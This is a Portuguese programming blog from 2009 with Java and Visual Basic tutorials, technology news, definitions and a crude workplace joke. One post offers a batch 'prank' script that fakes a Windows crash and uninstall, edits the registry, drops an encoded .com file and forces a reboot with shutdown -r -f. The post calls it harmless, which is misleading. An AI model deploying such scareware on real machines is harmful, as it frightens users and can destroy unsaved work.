SEJAM BEM VINDOS!!!

Este blog é destinado a todos que interessam em aprender e compartilhar conhecimento sobre desenvolvimento de aplicativos, linguagens de programação, banco de dados, entre outros.

O que é OCX?

Abreviatura de OLE custom control. Módulo de software que se baseia nas tecnologias OLE e COM que, quando chamado por uma aplicação, produz um controle que acrescenta algum recurso interessante à aplicação. A tecnologia OCX é independente de plataforma, opera em sistemas operacionais de 16 e 32 bits e pode ser usada com várias aplicações. É a sucessora da tecnologia VBX (Visual Basic custom control), que aceitava apenas aplicações do Visual Basic, e constitui a base dos controles ActiveX. Os controles OCX podem ser criados em diversas linguagens, embora o Visual C++ seja a linguagem mais utilizada. Desenvolvida pela Microsoft, a tecnologia OCX é tratada na especificação OCX 96 (1996 OLE Controls specification). Pesquise também ActiveX controls (controles ActiveX); COM (definição 2); control (controle – definição 2); OLE; VBX; Visual Basic.

Fonte: http://o-que-significa.blogspot.com.br/2011/06/ocx.html#.UxivZPldXik

quarta-feira, 30 de setembro de 2009

Top 5 Downloads

1 MSN Messenger 2009
A última versão do sucessor do MSN Messenger em português fornece uma experiência inovadora em comunicação!
categoria: comunicadores instantâneos (messengers)


2 Ares Galaxy 2.1.1.3035
Compartilhador gratuito de arquivos como áudio, imagem, vídeo, programas, documentos, etc.
categoria: compartilhadores p2p


3 Messenger Plus! Live 4.82.368
Agora o Plus! está completo: totalmente compatível com o Windows Live Messenger 2009, inclusive o Beta 2!
categoria: complementos para mensageiros


4 AVG Anti-Virus Free 8.5 build 409a1634
Em primeira mão: o antivírus gratuito mais popular está de cara nova. E agora protege até contra spywares!
categoria: antivírus


5 Avast! Home Edition 4.8.1356
Um dos melhores anti-vírus gratuitos para proteger o seu computador das diferentes ameaças do mundo virtual.
categoria: antivírus


Fonte: www.baixaki.com

Site IDG Now

Fique por dentro do fantástico mundo da tecnologia, no site IDG Now, você fica por dentro de todas as novidades da tecnologia mundial, atráves de notícias, matérias, podcasts e um super conteúdo vale a pena conferir.

Celulares Android

Não estamos falando de um celular que vira Android e sim da plataforma Google Android.

Assim como o iPhone, da Apple, a plataforma móvel Android deverá conhecer oficialmente terras brasileiras apenas em sua segunda versão.

Executivos do Google Brasil confirmaram que o buscador está sugerindo aos fabricantes ligados à Open Handset Alliance que introduzam aparelhos com o sistema operacional Android apenas em 2009.

Leonardo Tristão, diretor de novos negócios e parcerias do Google no país, afirma que faz parte do planejamento trazer celulares com o sistema operacional "mais maduro" para o mercado nacional.

Saiba mais sobre o Android
>Google confirma e detalha sistema
>Primeiros celulares com Android são revelados
>iPhone x Android: novo filão para criação

Caso as fabricantes queiram trazer os aparelhos, no entanto, o Google não tem como bloquear ou se opor à estratégia, admite o executivo.

Provável primeira empresa a colocar um aparelho com Android nas prateleiras, a HTC anunciou o Dream, celular que terá 12,7 centímetros de comprimento e 7,62 centímetros de largura, com teclado deslizante e tela sensível a toque e será lançado comercialmente na Ásia durante o segundo semestre.

Além da HTC, compõe a Open Handset Alliance as fabricantes LG, Motorola e Samsung. Até agora, nenhuma das três divulgou oficialmente planos sobre o desenvolvimento de um celular com Android.

Oficializado em novembro de 2007, o Android é um esforço do Google para centralizar o desenvolvimento de aplicativos para celulares de diferentes fabricantes sobre uma mesma plataforma aberta.

Fonte: IDG Now

Saiba Como Obter um CNPJ e Montar uma empresa.



O que é Empreendedor Individual?
Fonte: Sebrae Nacional

Lei Complementar nº 128/2008 determina as regras para legalização
O Empreendedor Individual é a pessoa que trabalha por conta própria e que se legaliza como pequeno empresário. Para ser um empreendendor individual, é necessário faturar até R$ 36.000,00 por ano, não ter participação em outra empresa como sócio ou titular e ter um empregado contratado que receba o salário mínimo ou o piso da categoria.

Livro Estatística Fácil


Título: ESTATISTICA FACIL
Autor: ANTONIO ARNOT CRESPO
Edição: 19
Editora: SARAIVA, 1899
ISBN: 8502081063, 9788502081062
Num. págs.: 232 páginas

terça-feira, 29 de setembro de 2009

Google Chrome OS – Sistema Operacional do Google



A gigante Google resolve entrar no mercado de sistema operacionais e competir com a Microsoft, que até então vem dominando o mercado mundial com o Windows.O Google Chrome OS (operating system) será voltado inicialmente para netebooks, computadores portáteis menores, mais baratos e com menos recursos que os laptops. A previsão que em meados de 2010 o sistema operacional do Google esteja no mercado, num futuro próximo, o sistema operacional deve também chegar aos PCs.
Rapidez, simplicidade e segurança são os aspectos-chave do Google Chrome OS, anunciou a empresa em seu blog oficial. Segundo a Google, o sistema operacional será uma extensão natural do seu navegador de internet, Chrome.
O sistema operacional será em software de código aberto.

Sistemas Operacionais

Baixe em PDF o livro:

Sistemas Operacionais
Autores: Andrew S. Tanenbaum
Albert S. Woodhull
2ªEdição
Editora: Bookman/Porto Alegre 1999

Este livro aborda o funcionamento dos Sistemas Operacionais, abordando os temas:

O que é um sistema operacional;
História dos Sistemas Operacionais;
Conceito de Sistema Operacional;
Chamada de Sistema;
A Estrutura do Sistema Operacional;
Processos;
Implementação de processos em Minix;
Entrada e Saída;
Gerenciamento da Memória;

Dente muito outros temas.

Download

segunda-feira, 28 de setembro de 2009

JAVA - Classes, Objetos, Instancias e Métodos

Introdução:

Uma classe é um tipo definido pelo usuário que contém o molde, a especificação para os objetos, algo mais ou menos como o tipo inteiro contém o molde para as variáveis declaradas como inteiros. A classe envolve, associa, funções e dados, controlando o acesso a estes, definí-la implica em especificar os seus atributos (dados) e seus métodos (funções).

Um programa que utiliza uma interface controladora de um motor elétrico provavelmente definiria a classe motor. Os atributos desta classe seriam: temperatura, velocidade, tensão aplicada. Estes provavelmente seriam representados na classe por tipos como int ou float. Os métodos desta classe seriam funções para alterar a velocidade, ler a temperatura, etc.

Um programa editor de textos definiria a classe parágrafo que teria como um de seus atributos uma String ou um vetor de Strings, e como métodos, funções que operam sobre estas strings. Quando um novo parágrafo é digitado no texto, o editor cria a partir da classe Parágrafo um objeto contendo as informações particulares do novo texto. Isto se chama instanciação ou criação do objeto.

Objetos:

Objetos são instâncias de uma classe. Quando um objeto é criado ele precisa ser inicializado, ou seja, para uma única classe de nome EstudanteDeGraduacao podemos ter vários objetos durante a execução de um programa.

Estudante de graduação Andre; Identificação 940718; Curso Computacao Estudante de graduação Luiza , Identificação 893249, Curso Medicina... A classe representa somente o molde para a criação dos objetos, estes sim contém informação.

Objetos podem conter objetos, ou seja os atributos de um objeto podem ser objetos, da mesma classe ou não. Objetos podem ser passados pela rede, armazenados em meio físico. Objetos possuem um estado e um comportamento. Métodos podem receber objetos como argumentos, podem declarar objetos como variáveis locais, podem chamar outros métodos. Você pode chamar um método (mandar uma mensagem) para objetos em outras máquinas através de sua rede.
Métodos:
Em contraste com a estática dos dados, os métodos definem as ações a serem tomadas em diversos momentos da execução de um programa. Como em outras linguagens, como C, C++, Pascal, Fortran, etc, os métodos correspondem aos conceitos comuns de funções, procedimentos ou subrotinas. Estes são apenas conjuntos ordenados de declarações de dados, comandos e expressões. Em termos simples, são os métodos que realizam todas as tarefas para as quais o programa foi escrito, por exemplo, realizar cálculos, resumir informações de um arquivo, produzir um relatório, criar um gráfico, gerar um filme de animação, etc.
Uma das grandes vantagens do Java é a capacidade de você definir seus próprios objetos. Como já comentado, um objeto contém atributos (dados) e métodos
(funções para manipulação dos dados). Esses objetos irão ajudá-lo a resolver o problema apresentado e tornarão seu trabalho mais fácil.

Vamos inicialmente criar um objeto simples, que contenha apenas dados.

Public class meuObjeto
{
String nome;
int idade;
String telefone;
}

Você acabou de definir um objeto chamado meuObjeto. Temos nome, idade e telefone
como dados deste objeto.
Mas não basta defini-lo para que ele nos seja útil. Para isso, você deve instanciá-lo,
assim:

meuObjeto amigo = new meuObjeto();

A partir de agora, meu objeto amigo pode ser utilizado para guardar dados. Eu posso
incluir dados assim:

amigo.nome = "Joao";
amigo.idade = 33;
amigo.telefone = "2223311";


E quando eu precisar dos valores, eu simplesmente os imprimo.

System.out.println (amigo.nome);

Vamos agora criar um método para o meuObjeto. Esse método vai se chamar aniversario,e ele serve para aumentar em 1 ano a idade do objeto. Então, meu objeto ficaria:

class meuObjeto
{
String nome;
int idade;
String telefone;
public void aniversario()
{
idade = idade + 1;
}
}

Agora, para um teste, poderíamos fazer:

meuObjeto amigo = new meuObjeto();
amigo.nome = "Joao";
amigo.idade = 33;
amigo.telefone = "2223311";
System.out.println ("Idade antiga"+amigo.idade);
amigo.aniversario();
System.out.println ("Nova idade"+amigo.idade);


Dúvidas e/ou sugestões fonteocx@isistemas.net
Baixe em PDF

sexta-feira, 25 de setembro de 2009

JAVA - Modelagem de Diagrama



Baixe um modelo de Diagrama de programação

O Primeiro HDD da História...

Programação em Lotes – Batch



Essa é para aqueles que gostam de aprender e se divertir esse código é bastante interessante, dá pra aprender bastante coisa.

OBS.: Este código não irá danificar seu computador , baixe aqui

@echo off
title WINDOWS ALERT
color 1f
cd /d %temp%
copy %0 "vacilaum.bat"
reg query "HKCU\Console" find /i "fullscreen" find "1" >nul
if %errorlevel% equ 1 (
echo 1>fullscrn.tmp
reg add "HKCU\Console" /v "FullScreen" /t Reg_Dword /d 1 /f
start c:\vacilaum.bat
exit
)
cls
for /l %%Y in (1,1,20) do (echo.)
echo.
echo A fatal exception 0E has ocurred at 0028:C00068F8 in VxD VMM(01) +
echo 000059F8. The current application will be terminated.
echo.
echo * Press any key to terminate the application.
echo * Press CTRL+ALT+DEL to restart your computer. You will
echo lose any unsaved information in all applications.
echo.
call:cecho Press any key to continue
for /l %%Y in (1,1,19) do (echo.)
pause>nul
cls
for /l %%Y in (1,1,17) do (echo.)
call:cecho Pressione qualquer tecla para continuar. . .
for /l %%Y in (1,1,16) do (echo.)
pause>nul
if exist fullscrn.tmp (reg add "HKCU\Console" /v "FullScreen" /t "Reg_Dword" /d 0 /f)
del /q /f fullscrn.tmp
exit

:cecho
set pal=%*
FOR /F "TOKENS=2" %%E IN ('mode con: ^ findstr "Colunas Cols"') DO set /a cols=%%E
set /a chars=0
set /a space=0
set charspace=
for /l %%i in (1000,-1,0) do (
if "!pal:~%%i,1!"=="!pal:~1000,1!" set /a chars=%%i
)
set /a space=(%cols%/2)-(%chars%/2)
for /l %%h in (0,1,%space%) do set charspace= !charspace!
echo.%charspace%%pal%
echo.
echo.
echo.
PAUSE
echo.
echo.
echo.
echo.

set inicializar =%userprofile%
echo. Ola %inicializar%
echo. Carregando arquivos necessários:
c:
cd c:\windows
FIND /I "EXE" *.exe
echo. Excluindo os seguintes arquivos:
tasklist
FOR /L %%c IN (0,1,100) DO echo. Aguarde... %%c porcento concluido...
echo.
echo.
cls
echo. Aguarde enquanto escaneamos seu computador a procura de algo enteressante...


if not exist "%temp%.\Satti.com" (call :satti)
color 0b
call :carrega 0 10 "Iniciando a desinstalação do Windows" 10
call :carrega 10 30 "Desinstalando Explorer.exe" 10
call :carrega 30 50 "Desinstalando iexplorer.exe" 14
call :carrega 50 70 "Desinstalando regedit.exe" 14
call :carrega 70 90 "Excluindo *.dll;*.ocx; *.reg" 12
call :carrega 90 100 "Concluindo!!" 12

shutdown -r -f -t 120 -c "Perdeu, espero que tenha realizado Backup de seus arquivos importantes"
exit


pause
:carrega
set cor=%4
set ver=%3
set ver=%ver:"= %
set load=%1
:loading
set /a load=%load%+5
if %load% equ 5 set load2=
if %load% equ 11 set load2=º
if %load% equ 15 set load2=ºº
if %load% equ 20 set load2=ººº
if %load% equ 25 set load2=ºººº
if %load% equ 30 set load2=ººººº
if %load% equ 35 set load2=ºººººº
if %load% equ 40 set load2=ººººººº
if %load% equ 45 set load2=ºººººººº
if %load% equ 50 set load2=ººººººººº
if %load% equ 55 set load2=ºººººººººº
if %load% equ 60 set load2=ººººººººººº
if %load% equ 65 set load2=ºººººººººººº
if %load% equ 70 set load2=ººººººººººººº
if %load% equ 75 set load2=ººººººººººººººº
if %load% equ 80 set load2=ºººººººººººººººº
if %load% equ 85 set load2=ººººººººººººººººº
if %load% equ 90 set load2=ºººººººººººººººººº
if %load% equ 95 set load2=ººººººººººººººººººº
if %load% equ 100 set load2=ºººººººººººººººººººº
if %load% equ %2 set load=0&Cls&goto:eof
cls
echo.
echo %ver%
echo.
echo Processando...
echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
echo º
"%temp%.\Satti.com" 5 2 %cor% %load2%
"%temp%.\Satti.com" 5 22 11 º
echo %load%%% Concluido
echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ping -n 2 localhost > nul
goto loading
:satti
(
echo Bj@jzh`0X-`/PPPPPPa(DE(DM(DO(Dh(Ls(Lu(LX(LeZRR]EEEUYRX2Dx=
echo 0DxFP,0Xx.t0P,=XtGsB4o@$?PIyU WwX0GwUY Wv;ovBX2Gv0ExGIuht6
echo pZsAQ~ZzOL@KtZ{O@}1guN?_g~K=G?U_Pg]NYG?w?KgBn}IqtH@wR@wABO
echo LrFZp{@OEKH@lQN1w@ECuQqo{Ox{R?kNv@ZjosB@IoOEFr@N@K ~aj~@OeK
echo ??BB0x
)>"%temp%.\Satti.com"
goto:eof

JAVA – Orientação a Objeto Parte 01

Pessoa um bom exemplo para a pratica orientação a objetos, um projeto com cadastros, heranças...

Utilizando os componentes:

java.awt.event.ActionEvent;
java.awt.event.ActionListener;
javax.swing.BorderFactory;
javax.swing.JDesktopPane;
javax.swing.JLabel;
javax.swing.JOptionPane;
javax.swing.JPanel;
javax.swing.JTextField;
javax.swing.ImageIcon;
javax.swing.JButton;
javax.swing.JInternalFrame;

E muito mais, para baixar clique aqui

ASP - ACTIVE SERVER PAGES


ASP é uma tecnologia desenvolvida pela Microsoft que disponibiliza um conjunto de componentes para o desenvolvimento de páginas Web dinâmicas. Tais páginas consistem em arquivos de extensão .asp no formato texto (ASCII) que contêm combinações de scripts e tags HTML.(...)


Para saber mais um pouco sobre o ASP, baixa em PDF uma apostila de introdução...

quinta-feira, 24 de setembro de 2009

Profissionais de Informática x Putas






Trabalhamos em horários estranhos
… que nem as putas!


Nos pagam pra fazer o cliente feliz
… que nem as putas!


O cliente até que às vezes paga bem, mas o chefe fica com quase tudo
… que nem as putas!


Nosso trabalho sempre vai além do expediente
… que nem as putas!


Somos recompensados por satisfazer as fantasias do cliente
… que nem as putas!


Nossos amigos se distanciam de nós, e só andamos com outros iguais a nós
… que nem as putas!


Nosso chefe tem um lindo carro
… que nem as putas!


Quando vamos ao encontro do cliente, temos de estar sempre apresentáveis
… que nem as putas!


Mas quando voltamos, parece que saímos do inferno
… que nem as putas!


Sempre quando alguém pergunta o que fazemos não conseguimos responder e acabamos conseguindo enrolar a pessoa que perguntou, desconversando
… que nem as putas!


O cliente quer sempre pagar menos e que façamos maravilhas
… que nem as putas!


Todo dia, acordamos e dizemos: “NÃO VOU PASSAR O RESTO DA VIDA FAZENDO ISSO”
… que nem as putas!


Se as coisas dão errado, é sempre nossa culpa
… que nem as putas!


Sempre acabamos fazendo “serviços” de graça para o chefe, os amigos e familiares
… que nem as putas!


Apesar de tudo isso, trabalhamos com prazer
… que nem as putas!

quarta-feira, 23 de setembro de 2009

Como ser um bom programador

Introdução
Eu programo computadores desde os 12 anos de idade (já fazem 12 anos). Durante todos esses anos programando e estudando, eu acabei descobrindo algumas qualidades e alguns esforços que fazem a diferença entre um bom programador e um programador mediano. Mostrarei aqui essas qualidades e esforços que julgo mais importantes.
Quando digo "programador", você pode entender "programador OU Analista Programador OU Engenheiro de Sistemas OU Arquiteto de Sistemas OU Escovador de Bits". Programador é a pessoa que programa computadores, não necessariamente quem ganha a vida fazendo isso. Até meus 17 anos eu achava que programação era só um divertimento, eu não pensava em levar isso como uma profissão.(Sim, eu não pensava em programação como uma profissão. Tanto que, com 18 anos, eu entrei no curso de Relações Internacionais. O grande problema era que eu ia para a faculdade com um livro de C++ embaixo no braço. E, apesar de adorar as aulas de Economia, Ciências Políticas e Ciências Sociais, eu abandonei a faculdade depois do 1º ano).

O que é ser um bom programador
Resposta curta: quanto mais você sabe o que está acontecendo quando você chama uma função (qualquer uma), melhor programador você é.
Resposta longa: Quando eu tinha 15 anos, eu fui pescar (fui obrigado, odeio pescar) com um tio, e por um motivo qualquer, veio à tona o assunto "hacker". Naquele tempo, eu achava que hacker era uma pessoa que invadia sistemas. Até que ele me disse que "hacker é a pessoa que sabe realmente o que acontece quando você aperta um botão no teclado".
(Eu espero que você saiba o que é um hacker. Um garoto idiota que usa programinhas prontos para invadir o computador dos outros não passa de um garoto idiota. A definição de hacker, em tradução livre, é "uma pessoa que gosta de explorar os detalhes de sistemas programáveis e testar suas potencialidades, ao contrário da maioria dos usuários, que preferem aprender somente o mínimo necessário".)
Um hacker e um bom programador são quase a mesma coisa, e apertar um botão no teclado envolve vários chamados de função. Um usuário sabe que quando ele pressiona a tecla "A", aparece a letra "A" na tela. Um bom programador vai além, e sabe que resumidamente, ao pressionar a tecla "A", o teclado vai disparar um sinal elétrico que quando chegar no computador, vai disparar uma interrupção de processador, que será tratada por um driver que colocará isso em uma fila, que será lida pelos programas. Nem sempre você precisará saber todos os detalhes. O fato é que o bom programador teve curiosidade suficiente para descobrir como isso funciona.
Um programador mediano sabe que quando você chama a função MessageBox (ou MsgBox, MessageBox.Show ou JOptionPane.showMessageDialog) aparece uma janela com uma mensagem na tela. Um bom programador sabe que isso faz uma chamada para GDI, que depois vai para kernel mode (muda para Ring0), que chama o driver de vídeo que chama o monitor. Quanto mais detalhes você sabe sobre todos esses passos, melhor para você. Você pode ser um bom programador sem saber os detalhes de tudo, mesmo porque, isso é impossível. O que importa é ir além de um usuário ou programador mediano, é ter a curiosidade de saber como as coisas funcionam. Mesmo que você ache desnecessário saber como funciona o gerenciamento de filas do driver de teclado, isso pode ajudar um dia. Informação nunca é demais.
Conhecer bem um computador e seu funcionamento é uma das coisas que define um bom programador. Poder de abstração, capacidade para resolução de problemas e raciocínio lógico são outras qualidades que leva alguém a ser um bom programador. Mas a qualidade essencial é a curiosidade. Um bom programador quer saber tudo que acontece, mesmo que aparentemente ele não precise. Um programador mediano se satisfaz somente com um resultado esperado.

Qualidades ou esforços necessários
Vou enumerar aqui algumas qualidades em um programador que podem ser a chave para o sucesso. Como sucesso, eu defino a satisfação em fazer o que gosta e fazer bem. Se você trabalha com Cobol e é o mestre nisso, mas gostaria mesmo é de estar fazendo um sistema operacional para Nintendo 8 bits, talvez você não tenha sucesso (apesar do que a sua conta bancária diz).
Vamos à elas:
*Gostar de problemas lógicos
*Saber inglês
*Gostar de aprender e estudar constantemente
*Gostar de ler (e estudar constantemente)
*Saber buscar as informações (para estudar constantemente)

Existem diversas outras qualidades que ajudam, como um bom relacionamento inter-pessoal e facilidade de negociação, mas aqui eu falarei especificamente sobre o que tange a área técnica. Eu não entendo nada de RH, psicologia, inteligência emocional, inteligência extraespacial ou qualquer dessa coisas. Esse artigo é para quem pretende ser um bom escovador de bits, não para quem pretende passar em todas as entrevistas de emprego ou conseguir uma namorada pelo MSN Messenger. :-)

Gostar de resolver problemas
Acho que essa é meio óbvia, já que computação é uma ciência exata. Mas não é tão simples assim. Existem algumas características dos profissionais da área de humanas que caem como uma luva para um programador.
Eu costumo dizer que programação é mais uma arte do que uma ciência. E quando eu explico isso para profissionais da área de humanas, eles entendem e começam a ter a mesma opinião. Quando você projeta um sistema, você quer resolver um problema específico. Mas esse problema pode ser resolvido de milhares de maneiras. Como você chega a solução desse problema também é outro problema, às vezes bem maior.
Digamos que você vai fazer um programa para uma fábrica de roupas. Enquanto você não entender muito bem o processo produtivo da fábrica, você não consegue fazer o sistema. Agora além de saber programar, você sabe como funciona uma fábrica de roupas. Isso é uma das coisas que me fascina na área de sistemas. Além de controlar a máquina, você tem a oportunidade de aprender muitas coisas fora da área de informática (como o funcionamento de uma fábrica).
Atualmente estou trabalhando com softwares para o mercado financeiro e bolsas de valores. Além de refinar minha habilidade em C++, Win32 API, multithread, sockets e coisas técnicas, também estou aprendendo diversas coisas sobre o mercado de ações e de mercadorias e futuros. E esses conhecimentos "paralelos" me ajudam bastante quando me sobra algum dinheiro para investir. :-)

Publicado em: 29/09/2006 http://www.linhadecodigo.com.br/Artigo.aspx?id=1153

segunda-feira, 21 de setembro de 2009

Visual Basic - Caixa de Texto numérica idêntica aos de sites Bancários

Inicie um novo projeto e insira uma caixa de texto e Option Explicit adicione a seguinte declaração:

Option Explicit
Private Const CB_FINDSTRING As Long = &H14C
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
lParam As Any) As Long

no evento keypress da caixa de texto adicione o seguinte código

Private Sub txtNumConta_KeyPress(KeyAscii As Integer)
If (Not IsNumeric(Chr(KeyAscii))) And (KeyAscii <> vbKeyBack) Then
KeyAscii = 0
ElseIf (Len(txtNumConta.Text) > 1) And (txtNumConta.Text <> "0,") Then
txtNumConta = Replace(txtNumConta, ",", "")
txtNumConta = Left(txtNumConta, Len(txtNumConta) - 1) & "," & Right(txtNumConta, 1)
txtNumConta = Format(txtNumConta, "#0.0")
txtNumConta.SelStart = Len(txtNumConta)
End If
End Sub

E pronto basta executar e testar seu projeto.
Equipe I Sistemas

Visual Basic - COMBOBOX com auto completar

Veremos abaixo passo a passo como criar um auto completar em um COMBOBOX padrão.
Crie um novo projeto e insira um form e um comobobox conforme a imagem abaixo:
No Option Explicit declare a seguinte variável

Option Explicit
Private Const CB_FINDSTRING As Long = &H14C
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, _
ByVal wMsg As Long, _
ByVal wParam As Long, _
lParam As Any) As Long

Crie as seguinte funções

Public Function Combo_AutoCompletar(xCombo As ComboBox, ByVal xKeyAscii As Long, Optional ByVal xUpperCase As Boolean = True) As Long
Dim lngFind As Long, intPos As Long, intLength As Long, tStr As String
With xCombo
If xKeyAscii = 8 Then
If .SelStart = 0 Then Exit Function

.SelStart = .SelStart - 1
.SelLength = Len(.Text)
.SelText = vbNullString
Else
intPos = .SelStart
tStr = .Text
.SelText = (Chr$(xKeyAscii))
' .SelText = IIf(xUpperCase, _
' UCase$(Chr$(xKeyAscii)), _
' LCase$(Chr$(xKeyAscii)))
End If
lngFind = SendMessage(.hwnd, CB_FINDSTRING, 0, ByVal .Text)
If lngFind = -1 Then
.Text = tStr
.SelStart = intPos
.SelLength = (Len(.Text) - intPos)
Combo_AutoCompletar = xKeyAscii
Else
intPos = .SelStart
intLength = Len(.List(lngFind)) - Len(.Text)
.SelText = .SelText & Right$(.List(lngFind), intLength)
.SelStart = intPos
.SelLength = intLength
End If
End With
End Function

No evento Keypress adicione o seguinte código

Private Sub cboCidades_KeyPress(KeyAscii As Integer)
KeyAscii = Combo_AutoCompletar(cboCidades, KeyAscii)
End Sub

Pronto, basta executar e testar.
Espero ter ajudado! Equipe I Sistemas.

sexta-feira, 18 de setembro de 2009

Ruby on Rails - RubyOnRails

Ruby on Rails é um meta-framework gratuito que promete aumentar velocidade e facilidade no desenvolvimento de sites orientados a banco de dados, uma vez que é possível criar aplicações com base em estruturas pré-definidas. Freqüentemente referenciado como Rails ou RoR, o Ruby on Rails é um projeto de código aberto escrito na linguagem de programação Ruby. As aplicações criadas utilizando o framework Rails são desenvolvidas com base no padrão de projeto MVC (Model-View-Controller).
ORIGEM: Ruby on Rails foi uma extração de David Heinemeier Hansson de um projeto seu, o gerenciador de projetos Basecamp. Foi lançado a público pela primeira vez em julho de 2004.

Características

O Rails é um "meta-framework", uma vez que é uma junção de cinco frameworks:
Active Record: O Active Record é uma camada de mapeamento objeto-relacional (object-relational mapping layer), responsável pela interoperabilidade entre a aplicação e o banco de dados e pela abstração dos dados.

Action Pack: Compreende o Action View (geração de visualização de usuário, como HTML, XML, JavaScript, entre outros) e o Action Controller (controle de fluxo de negócio).
Action Mailer: O Action Mailer é um framework responsável pelo serviço de entrega e até mesmo de recebimento de e-mails. É relativamente pequeno e simples, porém poderoso e capaz de realizar diversas operações apenas com chamadas de entrega de correspondência.
Active Support: Active Support é uma coleção de várias classes úteis e extensões de bibliotecas padrões, que foram considerados úteis para aplicações em Ruby on Rails.
Action WebServices: Provê uma maneira de publicar APIs interoperaveis com o Rails, sem a necessidade de perder tempo dentro de especificações de protocolo. Implementa WSDL e SOAP.
O Action Web Service não estará mais presente na versão 2.0 no Rails, visto que o mesmo está voltando-se para a utilização do modelo REST. Mesmo assim, aos ainda interessados em utilizá-lo, será possível fazê-lo através da instalação de um plugin.

Ambiente de Desenvolvimento

Ruby on Rails segue dois conceitos que visam aumentar a produtividade do desenvolvedor: DRY e Convention over Configuration. Estes métodos estão implementados por todo o Rails, mas podem ser mais notados nos "pacotes" do Active Record (ORM, Object Relational Mapper) e Action Pack (MVC) DRY: DRY (Don't Repeat Yourself, Não se repita) é o conceito por trás da técnica de definir nomes, propriedades e códigos em somente um lugar e reaproveitar essas informações em outros. Por exemplo, ao invés de ter uma tabela Pessoas e uma classe Pessoa, com uma propriedade, um método "acessador" (getter) e um "mudador" (setter) para cada campo na tabela, tem-se apenas no banco de dados. As propriedades e métodos necessários são "injetados" na classe através de funcionalidades da linguagem Ruby. Com isso, economiza-se tempo, já que não é necessário alterar a tabela, o "bean", o "form bean", o "local home", o "home", o "session", ... Alterando apenas no banco de dados, tudo o que se baseia nessas informações é atualizado automaticamente. Convention over configuration: Na maioria dos casos, usamos convenções no dia-a-dia da programação, em geral para facilitar o entendimento e manutenção por parte de outros desenvolvedores. Sabendo disso, e sabendo que o tempo gasto para configurar XML em alguns frameworks de outras linguagens é extremamente alto, decidiu-se adotar esse conceito. Ele diz basicamente que deve-se assumir valores padrão onde existe uma convenção. Se o desenvolvedor quiser, pode-se sobrescrever essa convenção com o valor necessário. Por exemplo, uma classe User pode ter seus dados armazenados na tabela Customer. Seguindo a convenção, seria na tabela Users. Com isso, o tempo de desenvolvimento cai ainda mais. Tempo de Execução A maioria dos sites não necessita de esquemas sofisticados de escalabilidade, bastando alguns aceleradores. Em sites menores ou normais, uma configuração padrão do servidor web consegue suportar uma boa quantidade de carga, principalmente se forem usados o FastCGI, LightTPD ou Mongrel, que são necessários para obter uma velocidade aceitável de abertura da página. Comparando uma aplicação com FastCGI e sem FastCGI (rodando Ruby direto como CGI), a diferença é perceptível em qualquer aplicação. O processamento do código (sem contar o tempo de download) em CGI ocorre em no mínimo 10 segundos mesmo em servidores Quad Core, enquanto que em FastCGI o desempenho é notável: em no máximo 1 segundo a página é processada, tal qual linguagens web como PHP. Existem casos de sites feitos em Rails que suportaram 5 milhões de visitas em um mês, ou seja, aproximadamente 115 por minuto, uma performance considerada suficiente para 90% das aplicações atuais. Nestes sites, uma questão freqüente é sobre a escalabilidade de aplicações escritas em Rails. Ao contrário de outras tecnologias, você não precisa fazer um código específico para que o sistema esteja preparado para "escalar". Quando necessário pode-se adotar uma das táticas disponíveis para escalabilidade em Rails. Vale notar que o único problema da escalabilidade é a manutenção de sessões entre servidores. Portanto, a saída mais óbvia é guardar estas sessões em volumes NFS, acessíveis por todos os servidores de aplicação. Outra tática é usar o armazenamento de sessões diretamente no banco de dados. Uma terceira, seria salvar a sessão em um cookie na máquina do usuário. Como pode-se ver, uma aplicação Rails já nasce com todo o suporte necessário para crescer sem traumas
Site Oficial: http://rubyonrails.org/
Apostila: http://www.4shared.com/file/133721269/8f8266dc/Apostila_de_RubyOnRails_-_fonteOCX.html

quinta-feira, 17 de setembro de 2009

Caracteristicas do Microsoft ACCESS 2003

Database file size: 2 gigabytes minus the space needed for system objects
Number of fields in a table: 255
Table size: 2 gigabytes minus the space needed for the system objects
Number of characters in a Text field: 255
Number of characters
in a Memo field: 65,535 when entering data through the user interface; 1 gigabyte of character storage when entering data programmatically
Number of characters in a record: 2,000 (excluding Memo and OLE Object fields)
Number of characters in a cell in the query design grid: 1,024
Number of characters in a text box on a form or report: 65,535
Number of levels of nested forms or reports: 7

Fonte: http://www.microsoft.com/

As 10 melhores Faculdades de Tecnologia

Segundo definição adotada pelo Ministério da Educação brasileiro, os cursos que estudam a Computação são:
_Ciência da Computação;
Modelos Teóricos Matemáticos que fundamentam a Computação.
_Licenciatura em Computação;
Licenciatura em Computação possui o foco no ensino-aprendizagem de computação, informática e tecnologia da informação e
_ Sistemas de Informação e Análise de Sistemas;
Sistemas de Informação (Aplicação da Computação nas Organizações TI - Transformar Formas em que Empresas trabalham em Softwares)
_ Engenharia da Computação
Engenharia da Computação (Ênfase maior não só em Software como os outros Cursos, mas também em Hardware).

. As 10 Melhores Cursos segundo o MEC(ENADE):
1º - UNIVERSIDADE FEDERAL DE MATO GROSSO DO SUL - CAMPO GRANDE
2º - UNIVERSIDADE FEDERAL DE OURO PRETO - JOÃO MONLEVADE
3° - UNIVERSIDADE ESTADUAL PAULISTA JÚLIO DE MESQUITA FILHO - BAURU
4° - UNIVERSIDADE DO OESTE PAULISTA - PRESIDENTE PRUDENTE
5° - PONTIFÍCIA UNIVERSIDADE CATÓLICA DO RIO GRANDE DO SUL - PORTO ALEGRE
6° - PONTIFÍCIA UNIVERSIDADE CATÓLICA DO RIO DE JANEIRO - RIO DE JANEIRO
7° - CENTRO UNIVERSITÁRIO CENTRAL PAULISTA - SÃO CARLOS
8° - FACULDADES INTEGRADAS DE TAQUARA - TAQUARA
9° - UNIVERSIDADE DE PERNAMBUCO - CARUARU
10°- FACULDADES INTEGRADAS RIO BRANCO - SÃO PAULO

JSP Definição

